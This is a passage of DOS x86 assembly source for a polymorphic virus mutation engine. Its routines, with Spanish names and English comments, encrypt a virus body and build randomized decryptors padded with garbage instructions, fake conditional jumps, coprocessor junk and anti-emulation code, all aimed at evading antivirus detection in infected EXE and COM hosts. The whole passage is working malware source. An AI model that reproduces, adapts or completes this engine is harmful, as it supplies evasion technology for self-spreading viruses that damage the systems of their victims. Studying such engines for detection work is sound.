JNZ @@JJJC ; If byte, jump + SHR CX, 1 ; Divide counter by 2 + @@JJJC: MOV BL, 01 ; Crypt by word (in BL) + TEST BP, 0080h ; Byte or word? + JZ @@JKJC ; If word, jump + XOR BL, BL ; Crypt by byte + @@JKJC: TEST BP, 0010h ; XOR, ADD or SUB? (in decryptor) + JZ @@PonXORoADD ; If XOR or ADD, jump + TEST BP, 0008h ; XOR or SUB? + JZ @@Siggg ; If SUB, jump and BL=opcode of ADD + @@PonXOR: ADD BL, 30h ; BL=Opcode of XOR + JMP @@Siggg ; Jump + @@PonXORoADD: TEST BP, 0008h ; Test XOR or ADD + JZ @@PonXOR ; If XOR, jump + @@PonADD: ADD BL, 28h ; BL=Opcode of SUB + @@Siggg: MOV BYTE PTR [OpcodeCrip-200h], BL ; Construct crypt ins- + ; truction + TEST BP, 0080h ; Word crypting? + JZ @@SiguR ; Then, jump + TEST BP, 0100h ; Direct crypting? (no register) + JZ @@SiguR ; Then, jump + TEST BP, 0200h ; High byte of register? (AH to DH) + JZ @@SiguR ; If not, jump + CMP BYTE PTR [RegistroEncriptado-200h], 03h ;If key isn't + JA @@SiguR ; a ?X type register, jump + OR BYTE PTR [Offset OpcodeCrip-200h+1], 20h ;Set crypting + ; by the high byte of the key register + JMP @@Siguu ; Jump and continue + @@SiguR: AND BYTE PTR [Offset OpcodeCrip-200h+1], 0DFh ; Set crypt- + JMP @@Siguu ; ting by the low byte of the key register + ; and clear prefetch queue +OpcodeCrip LABEL BYTE + @@Siguu: XOR [SI], AL ; Encrypt byte/word + TEST BP, 0100h ; If direct crypting (no key register), jump + JZ @@Siguuu + TEST BP, 0004h ; Modify key? + JZ @@Siguuu ; If not, jump + TEST BP, 0040h + JZ @@ModifXORADD + @@ModifSUBROL: TEST BP, 0020h + JZ @@ModifSUB + @@ModifROL: ROL AX, 1 ; Modify key by ROL xx,1 + JMP @@Siguuu + @@ModifSUB: SUB AX, DX ; Modify key by SUB + JMP @@Siguuu + @@ModifXORADD: TEST BP, 0020h + JZ @@ModifXOR + @@ModifADD: ADD AX, DX ; Modify key by ADD + JMP @@Siguuu + @@ModifXOR: XOR AX, DX ; Modify key by XOR + @@Siguuu: TEST BP, 0080h ; Word or byte? + JNZ @@Siguu2 ; Jump if byte + INC SI + @@Siguu2: INC SI ; Increase index + LOOP @@Siguu ; Repeat + RET +CriptaVirus ENDP ; End of procedure + +;;;;;; THIS IS THE MAIN PROCEDURE ON THE ENGINE. IT CREATES A DECRYPTOR WITH +;;;; THE DATA SET BEFORE +HazVirus2 PROC + ; This variable controls when the decryptor can perform a CALL to any + ; CALL on the decryptor, not only the routine immediately above. When + ; 0, it can't + MOV BYTE PTR [LoopYaEsta-200h], 0 + ; Clear "used register" fields. This is for indexed memory writes + MOV DWORD PTR [RegistrosUsados-200h], 0 + MOV DWORD PTR [RegistrosUsados-200h+4], 0 + MOV BYTE PTR [SaltoLoopTipo0-200h], 0 + MOV WORD PTR [NoBasura-200h], 0 + CALL Aleatorio ; One posibility in 64 that the decryptor + AND AL, 3Fh ; doesn't have garbage + JNZ @@XXCXCS + MOV BYTE PTR [NoBasura-200h], 1 + @@XXCXCS: PUSHA ; Save registers + PUSH DS + PUSH ES + PUSH DI + PUSH CS + POP ES + CLD + + call Aleatorio + and al, 3 + mov [TipoDeDesencriptador-200h], al + + CALL Aleatorio ; Set BP with a random word + MOV BP, AX +@@Repite001: CALL Aleatorio ; Get counter register + AND AL, 07h + MOV [RegistroContador-200h], AL ; Save it here + CALL PonComoUsado ; Check if it is going to be used (to + ; not use it on indexed memory writes) +@@Repite002: CALL Aleatorio ; Get index register (must be different + AND AL, 07h ; of counter register) + CMP AL, 03h + JB @@Repite002 + CMP AL, 04h + JZ @@Repite002 + CMP AL, [RegistroContador-200h] + JZ @@Repite002 + MOV [RegistroIndice-200h], AL ; Save it here + CALL PonComoUsado ; Check if it is going to be used (to + ; not use it on indexed memory writes) +@@Repite003: CALL Aleatorio ; Get key register (the register that + AND AL, 07h ; is going to be used like decryption + CMP AL, 04h ; key, if flags in BP says that). Of + JZ @@Repite003 ; course, it must be different of the + CMP AL, [RegistroIndice-200h] ; other two + JZ @@Repite003 + CMP AL, [RegistroContador-200h] + JZ @@Repite003 + MOV [RegistroEncriptado-200h], AL + CALL PonComoUsado ; Set if it can be used like index on + ; indexed memory writes + ; This variable is set to avoid making a JMP instruction in the very + ; beginning of the decryptor + MOV BYTE PTR CS:[PrimerByte-200h], 0 + CALL HazBasuraAleatoria ; Do garbage + INC BYTE PTR CS:[PrimerByte-200h] ; Use JMPs on decryptor + CALL PonInt ; Put INT function + CALL HazBasuraAleatoria ; Do garbage + CALL HazBasuraAleatoria ; Do garbage + MOV AX, BP ; Get method of jumping to next de- + AND AX, 0C00h ; cryptor or decrypted virus body + ROL AX, 6 + MOV BYTE PTR [Estado-200h], AL ; Put it here + + cmp byte ptr [TipoDeDesencriptador-200h], 1 + jb @@Tipo0 + jz @@Tipo1 + cmp byte ptr [TipoDeDesencriptador-200h], 2 + jz @@Tipo2 + + +;;;; ALGORITHM TYPE 3 +;;; Normal, habitual looping +@@Tipo3: MOV BX, Offset PonContador - 200h ; Call this functions + MOV CX, Offset PonIndice - 200h ;in a random order: Pon- + MOV DX, Offset PonEncriptador - 200h ; Contador to set + MOV SI, Offset AntiEmulating - 200h ; counter register, + CALL BarajaYLlama ;PonIndice to set index + ;register, PonEncriptador to set key register, + ;and AntiEmulating to... well, I think you + ;aren't sooooo lamer :) + push offset @@Returning - 200h +@@Parche: MOV [InicLoop-200h], DI ; Decryption LOOP begins here +@@Parche2: CALL HazBasuraAleatoria ; Do garbage + CMP BYTE PTR [TipoEjec-200h], 01 ; Is the host EXE or COM? + JNZ @@EsCOM ; Jump if COM + @@EsEXE: MOV AL, 2Eh ; Set "CS:" instruction + JMP @@SAaslx ; Continue + @@EsCOM: CALL Aleatorio ; Get a random segment referring + AND AL, 18h ; CS:, DS:, ES:, SS: + CMP AL, 18h ; If result is "DS:", don't insert it + JZ @@SAaslx2 + ADD AL, 26h ; Convert it to this instruction + @@SAaslx: STOSB ; Insert it + @@SAaslx2: CALL HazEncriptador ; Put decryption instruction + CALL HazBasuraAleatoria ; Do garbage + ret + +@@Returning: push offset @@Returning2 - 200h +@@Parche3: MOV BX, Offset IncrementaIndice - 200h ; Construct index + ; increasement + MOV CX, Offset ModificaContador - 200h ; Construct counter + ; in/decrementation + MOV DX, Offset ModificaRegistro - 200h ; Construct key + ; modification + MOV SI, Offset @@Retorno01 - 200h ; Direct return (no + ; function) + CALL BarajaYLlama ; Call the three functions above in a + ; random order + CALL MeteComprueba ; Construct counter check + RET +@@Returning2: +@@Finish: CALL HazBasuraSinBanderas2 ; Random instructions that don't + ; change Zero Flag and/or Signe + ; Flag + CALL MeteSaltoLoop ; Construct loop jump + mov byte ptr [LoopYaEsta-200h], 1 ; Decryption loop is + ; ended + CALL HazBasuraAleatoria ; Do garbage + CALL PonInt ; Do random interrupt function + ; (or not, it's random :) ) + CALL HazBasuraAleatoria ; Do garbage + CALL SaltoInicio ; Put jump to virus body or se- + ; cond decryptor + CALL HazBasuraAleatoria ; Do garbage + POP CX ; Calculate length of decryptor + SUB DI, CX ; in DI + MOV [LongDesencrip-200h], DI ; Put result here + MOV [Banderas-200h], BP ; Save flags here + POP ES + POP DS + POPA ; Restore registers and return + @@Retorno01: RET + +;;; Algorithm type 0 (Zhengxi decryption based) +@@Tipo0: AND BP, 1111111111111011b ; Don't vary decryption key + MOV BYTE PTR [RegistroContador-200h], 04 ; Put 4 as coun- + ; ter registre + @@Repite01: CALL Aleatorio ; Get a random size for a block + AND AX, 001Eh ; between 4 and 30 + CMP AL, 4 + JB @@Repite01 + MOV [TamanyoBloque-200h], AL ; Save it + MOV BX, Offset PonIndice - 200h ; Put index value + MOV CX, Offset PonStack - 200h ; Put stack instructions + MOV DX, Offset PonEncriptador - 200h ; Put encryptor value + MOV SI, Offset AntiEmulating - 200h ; Put an anti-emula- + CALL BarajaYLlama ; tion + CALL @@Parche ; Call to this common part + call @@Parche3 ; The same + CALL MeteSaltoLoop ; Put the jump to the beginning + ; of the loop + mov byte ptr [SaltoLoopTipo0-200h], 0 ; Put this to 0 + CALL ModificaIndice ; Modify index + CALL MeteComprueba2 ; Put the test of the index + JMP @@Finish ; Jump to this other common + ; part and finish + +;; ALGORITHM TYPE 1 +;;; LOOP of LOOPs. I think it's quite clear :) +@@Tipo1: CMP BYTE PTR [RegistroContador-200h], 4 ; Is there a coun- + ; ter defined? + JNZ @@Repite02 ; If it is, jump + mov cl, 08 ; Get a registre as a counter + CALL ObtenRegistro + mov [RegistroContador-200h], al ; Save it here + @@Repite02: CALL Aleatorio ; Get a random number between + AND AX, 001Eh ; 4 and 30 + CMP AL, 4 + JB @@Repite02 + MOV [TamanyoBloque-200h], AL ; Put it as block size + + push word ptr [TamanyoContador-200h] ; Save counter size + MOV [TamanyoContador-200h], AX ; Put the block size in + ; this variable + MOV BX, Offset PonIndice - 200h ; Call to this functions + MOV CX, Offset PonStack - 200h ; with a random order + MOV DX, Offset PonEncriptador - 200h + MOV SI, Offset AntiEmulating - 200h + CALL BarajaYLlama + MOV [InicLoop2-200h], DI ; Save DI as the initial + ; address of the external + ; loop + push word ptr [LongDesencrip-200h] ; Save this value + MOV WORD PTR [LongDesencrip-200h], 0 ; Put this to 0 and + CALL PonContador ; and put the counter + POP word ptr [LongDesencrip-200h] ; Restore the value + MOV [InicLoop-200h], DI ; Save DI as the initial + ; address of the internal + ; loop + CALL @@Parche2 ; call this common parts + call @@Parche3 + CALL MeteSaltoLoop ; Put the looping jump + POP WORD PTR [TamanyoContador-200h] ; Restore this + MOV BYTE PTR [RegistroContador-200h], 4 ; Force "MeteCom- + CALL MeteComprueba ; prueba" to do a CMP of index + ; and not a check of the coun- + ; ter with 0 + MOV AX, [InicLoop2-200h] ; Get the address of the ex- + ; ternal loop + MOV [InicLoop-200h], AX ; Put it as internal + JMP @@Finish ; Jump and continue in this + ; common part + +;;; Type 2 +;;;; One loop after another (one loop is executed, and when it finishes, the +;;;; second loop take the control) but both jump to the same point. +@@Tipo2: cmp byte ptr [RegistroContador-200h], 4 ; Get a counter + jnz @@Repite03 ; registre it it isn't + mov cl, 08 ; any + call ObtenRegistro + mov byte ptr [RegistroContador-200h], al + @@Repite03: call Aleatorio ; Get a random number + or ax, ax ; Avoid 0 + jz @@Repite03 + and ax, 1fffh ; Get the number between + ; 1 and 1FFFh + xchg ax, [TamanyoContador-200h] ; Put it on the value of + ; the counter reg + push ax ; Save the old value + MOV BX, Offset PonContador - 200h ; Call this functions + MOV CX, Offset PonIndice - 200h ; randomly + MOV DX, Offset PonEncriptador - 200h + MOV SI, Offset AntiEmulating - 200h + CALL BarajaYLlama + pop word ptr [TamanyoContador-200h] ; Restore this value + call @@Parche ; Call this common parts + call @@Parche3 + call MeteSaltoLoop ; Put the jump to the beginning + ; of the loop + call HazBasuraAleatoria ; Do garbage + xor bp, 0001 ;Inverse bit 0 on BP to force + ; to ModificaContador to do the + ; inverse operation as before, + ; to force loop to execute only + ; once when the "big loop" is + ; going and not the "little + ; loop" + mov byte ptr [NoPongasLOOP-200h], 1 ; Avoid LOOP instruc. + call ModificaContador ; Insert instruction to modify + ; counter + call HazBasuraAleatoria ; Do garbage + mov byte ptr [RegistroContador-200h], 4 ; Force "MeteCom- + call MeteComprueba ; prueba" to do a CMP to the + ; index and not test counter + ; equality to 0 + jmp @@Finish ; Jump to the common part and + ; continue +HazVirus2 ENDP + +;; Procedure to mix BX, CX, DX and SI registers and call the addresses in them +;; randomly +BarajaYLlama PROC + MOV AX, 0005 ; Repeat 5 times + @@Loop1: CALL SioNo ; Random Zero Flag + JZ @@Salto1 + XCHG BX, CX ; Exchange + @@Salto1: CALL SioNo ; Random Zero Flag + JZ @@Salto2 + XCHG CX, DX ; Exchange + @@Salto2: CALL SioNo ; Idem + JZ @@Salto3 + XCHG DX, SI ; Idem + @@Salto3: CALL SioNo ; Id. + JZ @@Salto4 + XCHG SI, BX ; I. :) + @@Salto4: DEC AX + JNZ @@Loop1 ; Repeat + PUSH BX ; Put addresses on stack, so, when + PUSH CX ; the functions arrive to "RET", they + PUSH DX ; jump to next function. Last will + PUSH SI ; return completely. + RET +BarajaYLlama ENDP + +;;;; GARBAGE GENERATOR +;; Almost all polymorphism in this engine depends on this powerful procedure. +;; It can generate a lot of different types of garbage, from CALLs to indexed +;; memory writes, conditional jumps, 32 bit instructions and much more. +;; All memory writes are done to the virus body! :) +HazBasuraAleatoria PROC + CMP BYTE PTR [NoBasura-200h], 0 + JZ @@HazBasura + RET + @@HazBasura: MOV BYTE PTR [EstoyDentro-200h], 0 ; Initialize variable. + ; When generating a CALL, this is set to + ; 1 to not generate nested CALLs + PUSH CX ; Save going-to-be-used registers + PUSH DX + PUSH AX + CALL Aleatorio ; Get a random word in AX + AND AH, 0C0h + JNZ @@Salto ; Jump with 75% probability + CMP BYTE PTR [PrimerByte-200h], 0 ; First instruction on + ; decryptor? + JNZ @@Salxtro ; If not, jump + OR AH, 0C0h ; Set bit 15 and 14 to non-zero + JMP @@Salto ; Jump and don't do "JMP" + @@Salxtro: TEST AL, 03 ; Do jump with non-zero displacement + JNZ @@SLLL + OR AL, 1 + @@SLLL: PUSH AX ; Save AX + CALL Aleatorio ; Aleatory in AX + AND AL, 0Fh ;Generate a random type of conditional "JMP" + AND AH, 03h ; Generate probabilities + CMP AH, 01 + JBE @@PonSaltoNormal ; Jump with 50% of probability + CMP AH, 02 + JZ @@PonJCXZ ; Jump with 25% of probability + MOV AL, 0EBh ; Do JMP (with 25% ...) + JMP @@JKJCJD + @@PonJCXZ: MOV AL, 0E3h ; Do JCXZ + JMP @@JKJCJD + @@PonSaltoNormal: ; Do normal conditional jump + AND AL, 0Fh + ADD AL, 70h + @@JKJCJD: STOSB + XOR AL, AL ; Set this to 0 and save this offset address + STOSB + MOV [Temporal-200h], DI + POP AX ; Restore AX + + @@Salto: AND AL, 03 ; Get AL between 0 and 3 + JZ @@Fin ; If 0, jump + @@Loop: PUSH AX ; Save AX + CALL HazBasuraAleatoria2 ; Generate random instructions + POP AX ; Recover AX + DEC AL ; Repeat AL times + JNZ @@Loop + @@Fin: OR AH, AH ; AH=0? + JNZ @@Fin2 ; If not, a JMP isn't be constructed + MOV AX, DI ; Get current offset in AX + SUB AX, [Temporal-200h] ; Calculate displacement until the + ; JMP (or JCXZ or Jxx) + PUSH DI ; Save DI + MOV DI, [Temporal-200h] ; Put JMP address on DI + DEC DI ; Decrement DI to get displacement + ; zone on instruction + STOSB ; Put displacement + POP DI ; Restore DI + JMP @@Fin3 ; Jump and finish + @@Fin2: CMP AH, 80h ; Do I do a faked conditional jump? + JNZ @@Fin3 ; With a 25% of probability, say "NO" + CALL Aleatorio ; Get a random word in AX + AND AL, 03 ; Get a number 1, 2 or 3 + JZ @@Fin3 ; Finish if 0 + CMP AL, 02 ; Test resultant AL + JB @@ConSTC ; If AL=1, jump here + JZ @@ConZF ; If AL=2, jump here +;; Construct CLC/JC or CLC/JNC + @@ConCLC: MOV AL, 0F8h ; Insert "CLC" + STOSB + CALL SioNo ; Random Zero Flag + JZ @@ConCLC2 ; Jump here, then (if ZF set) + MOV AL, 72h ; "JC" with random displacement (it + STOSW ; never jumps) + JMP @@Fin3 ; Jump and end + @@ConCLC2: CALL Aleatorio ; Get an aleatory in AX + AND AH, 03 ; Get a non-zero AH + JZ @@ConCLC2 + MOV AL, 73h ; Store a "JNC" with AH displacement + @@Repite: STOSW ; JNC always jumps + MOVZX CX, AH ; Insert AH random bytes + @@Otro: CALL Aleatorio + STOSB + LOOP @@Otro + JMP @@Fin3 ; Return +;; Construct STC/JNC or STC/JC + @@ConSTC: MOV AL, 0F9h ; Insert STC + STOSB + CALL SioNo ; Random Zero Flag + JZ @@ConSTC2 ; If ZF, jump to STC/JC + MOV AL, 73h ; Put a "JNC" with random displacement + STOSW + JMP @@Fin3 ; Return + @@ConSTC2: CALL Aleatorio ;Get a non-zero displacement for the "JC" + AND AH, 03 + JZ @@ConSTC2 + MOV AL, 72h ; Put "JC" opcode in AL + JMP @@Repite ; Jump and do the same that "@@ConCLC" +;; Construct CMP Reg,Reg/JNZ or CMP Reg,Reg/JZ ("Reg" must be the same) + @@ConZF: MOV AL, AH ; Put AH (aleatory) in AL + ROL AL, 3 ;Put 3 lowest bytes on the third bit po- + ; sition + AND AX, 0738h ; Leave alone this bits + OR AH, AL ; Integrate them in AL. Now bits (3,4,5) + ; and (0,1,2) are the same + OR AH, 0C0h ; Set register operation + MOV AL, 38h ; Put CMP opcode in AL + MOV CX, AX ; Save instruction formed in AX + CALL Aleatorio ; Get an aleatory in AX + AND AL, 03 ; Get a random number between 0 and 3 + ADD CL, AL ; Add it to main opcode to construct one + ;of the four variations of "CMP" in this + ;type of opcode + XCHG CX, AX ; Put it in AX + STOSW ; Store it + XCHG CX, AX ; Put it again in CX + CALL SioNo ; Random Zero Flag + JZ @@ConZF2 ; Here if Zero Flag + MOV AL, 75h ; Put a random "JNZ" + STOSW + JMP @@Fin3 ; Return + @@ConZF2: CALL Aleatorio ; Get non-zero random AH + AND AH, 03h + JZ @@ConZF2 + MOV AL, 74h ;Put "JZ" and put random bytes along the + JMP @@Repite ; displacement jumping here + @@Fin3: POP AX ; Restore attributes + POP DX + POP CX + RET ; Return +HazBasuraAleatoria ENDP + +;; Procedure to get a non-used register (the got register is lower than CL) +ObtenRegistro PROC + PUSH BX ; Save BX + @@OtraVez: CALL Aleatorio ;Get a random byte in AL between 0 and 7 + AND AL, 07h + CMP AL, 04 ; SP? + JZ @@OtraVez ; Repeat, then + CMP AL, CL ; >=CL? + JAE @@OtraVez ; Repeat, then + CMP AL, [RegistroEncriptado-200h] ; Equal to key register? + JZ @@OtraVez ; Repeat, then + CMP AL, [RegistroIndice-200h] ; Equal to index register? + JZ @@OtraVez ; Repeat, then + CMP AL, [RegistroContador-200h] ;Equal to counter reg.? + JZ @@OtraVez ; Repeat, then + CALL PonComoUsado ; Mark this register as used + @@Retorna: POP BX ; Restore BX and return + RET +ObtenRegistro ENDP + +;; Markers of registers +RegistrosUsados DB 8 DUP (0) + +;; Procedure to put BP, SI or DI like used +PonComoUsado PROC + @@Sigue: MOVZX BX, AL ; Put register in BX (zero extended) + MOV BYTE PTR [BX+RegistrosUsados-200h], 1 ; Mark it + @@Retorna: RET ; Return +PonComoUsado ENDP + +;;; RANDOM INSTRUCTION GENERATOR +HazBasuraAleatoria2 PROC + MOV CL, 04 ; Get a register lower than SP (get + CALL ObtenRegistro ; AX, CX, DX or BX) + MOV CL, AL ; Put it in CL + CALL Aleatorio ; Get aleatory AX + AND AL, 03 ; Do aleatory JMP with 25% of prob. + JZ @@SaltoAleatorio + TEST AH, 0C0h ; 25% of probability for putting a + JZ @@Salxto00 ; 66h opcode (it is 8 bit instruc- + PUSH AX ; tion yet, but not for the debug- + MOV AL, 66h ; ger :) ). + STOSB + POP AX + @@Salxto00: CMP AL, 02 ; If AL=1, then do a 1 byte instruc. + JB @@Instruccion1byte + JZ @@Instruccion2bytes ; If AL=2, then do a 2 byte instruc. + +;; More than 2 bytes instruction +@@Instruccion3bytes: + CALL Siono + JZ @@KKDLL1 + CALL Siono + JZ @@KKDLL1 + CALL Siono ; 1 in 4 to do a coprocessor instruction + JZ @@MeteCoprocesador ; or a memory write. 1 in 8 to do a + ; coprocessor instruction + JMP MeteEscritura ; Put a memory write with a 1/8 of prob. + @@KKDLL1: CALL Aleatorio ; Random word in AX + TEST AH, 03h ; JZ with 25% of probability + JZ @@InstruccionChunga ; Do weird instruction + TEST AH, 0E0h ; JZ with 25% of probability + JZ @@OtroTipo ; Do another type of instruction + MOV CH, AH ; Save AH + AND AX, 007Fh ; Get a random number between 0 and 0Fh + MOV BL, 0Ah ; in AL + DIV BL + MOV AL, AH + AND CH, 04h ; CH=0 or 4 + ADD CL, CH ;Add it to 8 bit register to get random- + ; ly ?H or ?L + MOV BX, Offset BasuraInstruc - 200h ; Convert AL to opcode + XLAT + MOV BL, AL ; Put it in BL + CALL Aleatorio ; Get an aleatory in AL + CMP BL, 3Ah ; Check if it is "CMP" opcode + JNZ @@Salllclx ; If not, jump + AND AL, 02 ; AL=0 or 2 + ADD AL, 38h ; Get in AL opcode 38h or 3Ah + MOV BL, AL + @@Salllclx: AND AH, 07h ; Get AH between 0 and 7 (random) + ROL CL, 3 ; Put register in bits (3,4,5) + OR AH, CL ; Integrate them in the same opcode + CALL SioNo ; Byte or word extra displacement on in- + ; dex? + JNZ @@SaltoCXC ; If byte, jump + OR AH, 80h ; A word will be added to index + JMP @@SaltoCXC2 + @@SaltoCXC: OR AH, 40h ; A byte will be added to index + @@SaltoCXC2: MOV AL, BL ; Store whole opcde + STOSW + TEST AH, 80h ; If byte... + PUSHF + CALL Aleatorio ; Get an aleatory in AX + POPF + JZ @@Bytett ; ...jump and insert a byte + STOSW ; Insert a word + RET + @@Bytett: STOSB ; Insert a byte + RET ; return +;; Weird instruction ("SETxx") +@@InstruccionChunga: + MOV AL, 0Fh ; Extended opcode + STOSB + AND AH, 04h ; Get random ?H or ?L register + ADD CL, AH + CALL Aleatorio ; Get a random word + OR AH, 0C0h ; Set register operation on + AND AH, 0F8h ; Get a random bit field on bits 3,4,5 + ADD AH, CL ; Put register + AND AL, 0Fh ; Get a random SETxx operation + ADD AL, 90h + STOSW ; Store instruction + RET ; Return +;; Usual register operation (ADD/OR/ADC... Register, Random Value) +@@OtroTipo: CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bit opcode (due + JNZ @@CJJJDC ; to some problems) + DEC DI + @@CJJJDC: MOV BL, AH ; Put random AH in BL + TEST BL, 80h ; Random Zero Flag + JZ @@OtroTipoWORD ; Jump if Zero Flag (to do 16 bits) + AND AH, 04 ; Get random ?H/?L in CL + ADD CL, AH + AND BL, 08h + ROR BL, 2 ; BL = 0 or 2 + MOV AL, 80h + ADD AL, BL ; Store opcode 80h or 82h (8 bits) + STOSB + CALL Aleatorio ; Random word in AX + OR AL, 0C0h ; Set register operation on + AND AL, 0F8h ; Get a random operation (ADD/OR/ADC...) + OR AL, CL ; Put register + STOSW ; Store opcode + random byte + RET ; Return +@@OtroTipoWORD: MOV AL, 81h ; 16 bits opcode + STOSB ; Put it + MOV CL, 08h ; Get a random register + CALL ObtenRegistro + OR AL, 0C0h ; Set register operation on + AND AH, 038h ; Get a random operation + OR AL, AH ; Mix to get the operation + STOSB ; Store it + CALL Aleatorio ; Store a random word + STOSW + RET ; Return + +;;; Coprocessor instructions builder. This instructions are not as logical as +;;; the processor ones, so every opcode has its particularities and instruc- +;;; tions. Due to this I had to code this weird kind of select an opcode and +;;; its instructions. +DirecCopro dw offset @@OpcodeD8h - 200h ; This is a table with the + dw offset @@OpcodeD9h - 200h ; offsets of where it has + dw offset @@OpcodeDAh - 200h ; to jump to do an instruc- + dw offset @@OpcodeDBh - 200h ; tion with this opcode. + dw offset @@OpcodeDCh - 200h + dw offset @@OpcodeDDh - 200h + dw offset @@OpcodeDEh - 200h + dw offset @@OpcodeDFh - 200h + +;; And it's a table with some needed values +Copro_Tabla1 db 00h, 10h, 20h, 28h +Copro_Tabla2 db 00h, 08h, 18h, 00h +Copro_Tabla3 db 20h, 21h, 24h, 25h, 28h, 29h, 2ah, 2bh, 2ch, 2dh, 2eh + db 36h, 37h, 20h, 21h, 24h + +@@MeteCoprocesador: + call Aleatorio ; Get a random opcode between D8h and + and ax, 07h ; DFh and translate it to the table + shl ax, 1 ; to get an offset to jump + add ax, offset DirecCopro - 200h + mov bx, ax + jmp [bx] ; Jump to the address + +@@OpcodeD8h: ;;; Memory: fadd, fcom, fsub, fsubr + ;;; Registre: the same + + mov dl, 0d8h ; Opcode D8h + @@Comun2: call Aleatorio ; Random between 0 and 3 + and al, 3 + mov bx, offset Copro_Tabla1 - 200h ; Get a value + xlat ; Construct the instruction + xchg ah, al + and al, 07h + cmp dl, 0d8h ; DL = D8h? + jnz @@Slla ; If not, continue + call SioNo ; Random Zero Flag + jnz @@CoproReg1 ; If not Zero Flag, jump + @@Slla: cmp dl, 0dch ; DL = DCh? + jz @@CoproReg1 ; If it is, jump + cmp dl, 0ddh ; DL = DDh? + jz @@CoproReg1 ; If it is, jump + or ah, 6 ; Set direct value as memory address + mov al, dl ; Construct instruction and store it + stosw + call ObtenDireccionEscrit ; Store a safe memory write + stosw ; address + ret ; Return + @@CoproReg1: or al, 0c0h ; Put registre + or ah, al ; Put the registre in AL to AH + mov al, dl ; Put the main opcode in AL + stosw ; Store it + ret ; Return + +@@OpcodeD9h: ;;; Memory: nothing + ;;; Registre: fld, fxch, fnop, fstp, fchs, fabs, ftst, fxam, + ;;; fld1, fldl2t, fldl2e, fldpi, fldlg2, fldln2, fldz, + ;;; fdecstp, fincstp + + mov dl, 0d9h ; Opcode D9h + call SioNo ; Random Zero Flag + jz @@SingleD9h ; If Zero Flag, jump to single instruction + @@ConRegistrosD9h: ; with registre: fld, fxch, fstp, fld + call Aleatorio ; Get a random number in AX + and ax, 0703h ; Get=AH between 0 and 7. AL between 0 and 3 + mov bx, offset Copro_Tabla2 - 200h ; Get a random opcode + @@Comun: xlat ; in AL + jmp @@CoproReg1 ; Jump and continue + @@SingleD9h: ; Without registre, just only the instruction: fnop, + ; fchs, fabs, ftst, fxam, fld1, etc. + call Aleatorio ; Get a random between 0 and 15 + and ax, 000fh + mov bx, offset Copro_Tabla3 - 200h ; Get an instruction + jmp @@Comun ; Jump and continue + +@@OpcodeDAh: ;;; Memory: fiadd, ficom, fsub, fsubr + ;;; Registre: - + mov dl, 0dah ; Opcode DAh + jmp @@Comun2 ; Jump and continue + +@@OpcodeDBh: ;;; Memory: - + ;;; Registre: fnclex, fninit + mov ax, 0e2dbh ; AX = Opcode of FNCLEX + call SioNo ; Random Zero Flag + jz @@DoFNCLEX ; If Zero Flag, jump + @@DoFNINIT: inc ah ; Convert to FNINIT + @@DoFNCLEX: stosw ; Store instruction + ret ; Return + +@@OpcodeDCh: ;;; Memory: - + ;;; Registre: fadd, fcom, fsubr, fsub + mov dl, 0dch ; opcode DCh + jmp @@Comun2 ; Jump and continue + +@@OpcodeDDh: ;;; Memory: - + ;;; Registre: ffree, fst, fucom, fucomp + mov dl, 0ddh ; Opcode DDh + jmp @@Comun2 ; Jump and continue + +@@OpcodeDEh: ;;; Memory: fiadd, ficom, fisub, fisubr + ;;; Registre: faddp, fcompp, fsubrp, fsubp + mov dl, 0deh ; Opcode DEh + jmp @@Comun2 ; Jump and continue + +@@OpcodeDFh: jmp @@MeteCoprocesador ; If opcode DFh, repeat and get ano- + ; ther opcode + +;; 2 byte instructions +@@Instruccion2bytes: + CALL Siono + JZ @@KKDLL2 + CALL Siono + JZ @@KKDLL2 + CALL Siono + JZ @@MeteCoprocesador ; Do copro with 1/8 of probability + JMP MeteEscritura ; Memory write with 1/8 of probability + @@KKDLL2: TEST AH, 07h ; Zero flag with 1/8 of probability + JZ @@HazInt ; Put interrupt if Zero Flag + CALL Aleatorio ; Get random value + OR CL, CL ; Check if register to use is AX + JNZ @@Salxto02 ; If not, jump + TEST AL, 0C0h ; Zero Flag with 25% of probability + JZ @@InstrucConAX ; If Zero Flag, put an implicit AX inst. + @@Salxto02: MOV BL, AL ; Save random byte in BL + AND AL, 38h ; Get random instruction + CMP AL, 38h ; Will it be "CMP"? + JNZ @@CDVDC ; If not, continue + CALL Aleatorio ; Get a random word in AX + AND AL, 02h ; Inverse source and destiny randomly + ADD AL, 38h ; Do a "CMP" instruction + JMP @@CDVDC2 ; Continue + @@CDVDC: ADD AL, 02 ; Register is destiny + @@CDVDC2: AND AH, 07h ; Get a random source + XOR DL, DL ;DL = 0 (it is used like flag to know if + ; a word must be added to instruction) + TEST BL, 01 ;If Zero Flag, source is a memory address + JZ @@Salxto03 + OR AH, 0C0h ; Put register operation + MOV DX, AX ; Save AX in DX + CALL Aleatorio ; Get a random word in AX + XCHG DX, AX ; Put in DX and restore AX + AND DL, 01 ; Get 0 or 1 in DL + ADD AL, DL ; Construct 8 or 16 bits operation + XOR DX, DX ; Set DL to "instruction as-is" + JMP @@Salxto08 ; Continue here + ; Here to put "Operation Register,Memory" + @@Salxto03: CMP AH, 06h ; Direct memory address? + JNZ @@Salxto04 ; If not, continue + MOV DL, 01 ;Set "add random word to instruction" on + @@Salxto04: AND BL, 04 ; Get an aleatory ?H or ?L + ADD CL, BL ; Convert register + @@Salxto08: ROL CL, 3 ; Mix it with the opcode + OR AH, CL + OR DL, DL ; Have I to add a random word? + JZ @@Salxto05 ; If not, jump + STOSW ; Store opcode + CALL Aleatorio ; Get a random word in AX + @@Salxto05: STOSW ; Store opcode/random word + RET ; Return +;; Implicit AX instruction +@@InstrucConAX: CALL SioNo ; Aleatory Zero Flag + JZ @@KK01 ; If Zero Flag, jump + AND AL, 01h ; AL=0 or 1 + ADD AL, 0D4h ; Get AAM or AAD + STOSW ; Store it with a random conversion base + ; (it's undocumented, but it works) + RET ; Return + @@KK01: AND AL, 38h ; Get a random operation + ADD AL, 04h ; Get AL operation + STOSW ; Store it with a random source byte + RET ; Return +;; To do a random int (well, not absolutely random. They are selected from a +;; little list). +@@HazInt: CALL Aleatorio ; Get a random AX + MOV BX, Offset OpcodesInterrup - 200h ;Direction of usable + ; interrupts + AND AL, 03h ; Get a number between 0 and 3 + XLAT ; Get in AL the interrupt number + CMP BYTE PTR [DI-01], 66h ; Eliminate 32 bit opcode, if it + JNZ @@Salxto06 ; was put before + DEC DI + @@Salxto06: MOV AH, AL ; Construct an "INT XXh" instruction + MOV AL, 0CDh + STOSW ; Store it + RET ; Return + +;;; 1 byte instruction 